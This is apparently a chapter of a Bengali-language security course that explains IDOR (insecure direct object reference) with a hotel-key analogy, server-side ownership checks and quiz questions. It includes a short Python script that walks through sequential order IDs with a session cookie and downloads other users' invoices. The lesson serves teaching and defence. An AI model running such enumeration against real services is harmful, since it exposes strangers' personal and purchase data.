🚪 Chapter 38 — Shadow Academy

🧭 দক্ষতা যাচাই ও প্রতিরক্ষামূলক takeaway

Skill checkpoint: দুটি dummy role দিয়ে object authorization matrix তৈরি করো।
Defense checkpoint: প্রতিটি object request-এ owner/role check server-side enforce করো.
Lab scope: শুধু নিজের lab, synthetic data বা লিখিত অনুমতিপ্রাপ্ত target-এ অনুশীলন করো। Real credential, token বা customer data ব্যবহার কোরো না।

Portfolio proof: finding, impact, fix ও retest নিয়ে ৫-লাইনের redacted note রাখো।

🚪 গল্প ১: হোটেলের চাবি ও অন্যের ঘরের রহস্য

ভাবো তুমি একটি বিলাসবহুল হোটেলে উঠেছো এবং তোমার রুম নম্বর হলো ১০১। হোটেলের বয় তোমাকে একটি সাধারণ চাবি দিয়ে বলল: 'এটা আপনার চাবি'।

কিন্তু কৌতুহলবশত তুমি হেঁটে গিয়ে পাশের ১০২ নম্বর রুমের দরজায় নিজের চাবিটা ঘোরালে এবং দেখলে — খটাস করে ১০২ নম্বর রুমের দরজাও খুলে গেল! ভেতরে ঢুকে দেখলে আরেকজন বড়লোকের সমস্ত স্যুটকেস, ল্যাপটপ আর গোপন দলিল পড়ে আছে!

হ্যাকিংয়ের পরিভাষায় এই মারাত্মক নিরাপত্তাহীনতাকে বলা হয় IDOR (Insecure Direct Object Reference)!

🔓 গল্প ২: ওয়েব API-তে IDOR কীভাবে কাজ করে?

তুমি যখন কোনো ওয়েবসাইটে নিজের প্রোফাইল দেখো, ব্রাউজার সার্ভারে রিকোয়েস্ট পাঠায়:
`GET /api/user/orders?user_id=8842`

যদি সার্ভারের ডেভেলপার অলস হয় এবং সে শুধু দেখে 'রিকোয়েস্টকারী লগইন করা আছে কিনা' কিন্তু এটা না দেখে যে ৮৮৪২ নম্বর আইডিটি সত্যিই লগইন করা ইউজারের কিনা, তখনই ঘটে সর্বনাশ!
তুমি শুধু সংখ্যাটি বদলে `user_id=8843` বা `user_id=1` (অ্যাডমিন) করে দিলেই সারা দুনিয়ার লাখ লাখ মানুষের ব্যক্তিগত ঠিকানা, ফোন নম্বর ও ক্রয়ের ইতিহাস তোমার স্ক্রিনে ভেসে উঠবে!

# Python স্ক্রিপ্ট দিয়ে আইডি ইনক্রিমেন্ট করে আইডিওর ডেটা স্ক্র্যাপ করা:
import requests

cookies = {'session_token': 'my_valid_session_cookie'}

# ১০০ থেকে ১১০ পর্যন্ত সবার ইনভয়েস ডাউনলোড করো:
for order_id in range(100, 110):
    url = f"https://api.target.com/orders/{order_id}/invoice.pdf"
    res = requests.get(url, cookies=cookies)
    if res.status_code == 200:
        with open(f"invoice_{order_id}.pdf", "wb") as f:
            f.write(res.content)
        print(f"🔥 Downloaded Victim's Invoice: Order #{order_id}")

🛡️ গল্প ৩: UUID বনাম Sequential ID ও পারমিশন ম্যাট্রিক্স

IDOR থেকে বাঁচার সহজতম উপায় হলো সিকোয়েন্সিয়াল আইডি (`1, 2, 3...`) বাদ দিয়ে UUIDv4 (`c4a8d09f-6b21-4f1a...`) ব্যবহার করা। কারণ জটিল র‍্যান্ডম আইডি কেউ সহজে আন্দাজ করতে পারে না।
কিন্তু আসল সমাধান হলো সার্ভার-সাইডে শক্তপোক্ত Access Control Matrix রাখা — প্রতিটা কুয়েরির সাথে মেলাতে হবে: `WHERE order_id = ? AND owner_id = logged_in_user_id`!

💡 IDOR হান্টিং স্ট্র্যাটেজি

সবসময় দুটি আলাদা অ্যাকাউন্ট (Account A ও Account B) খুলে টেস্ট করবে। Account A-র কুকি দিয়ে Account B-র রিসোর্স অ্যাক্সেস করে দেখবে সার্ভার ২০০ ওকে দেয় কিনা!

❓ প্রশ্ন 1: IDOR মানে কী?

❓ প্রশ্ন 2: IDOR exploit করতে কী বদলাও?

❓ প্রশ্ন 3: সবচেয়ে common IDOR vulnerability কোথায়?

❓ প্রশ্ন 4: IDOR prevent করতে কী করতে হয়?

❓ প্রশ্ন 5: IDOR bug bounty-তে কত টাকা পাওয়া যায়?

❓ প্রশ্ন 6: GraphQL-এ IDOR কীভাবে?

❓ প্রশ্ন 7: Sequential ID-র পরিবর্তে কী use করা উচিত?

❓ প্রশ্ন 8: IDOR-এর পর কী data পাওয়া যেতে পারে?

❓ প্রশ্ন 9: IDOR test করতে কোন Burp feature কাজে লাগে?

❓ প্রশ্ন 10: ?userId=123 URL parameter দেখলে কী করবে?

এই অধ্যায়ে কী শিখবে

🧪 IDOR Vulnerability Scanner

বিশ্বস্ত reference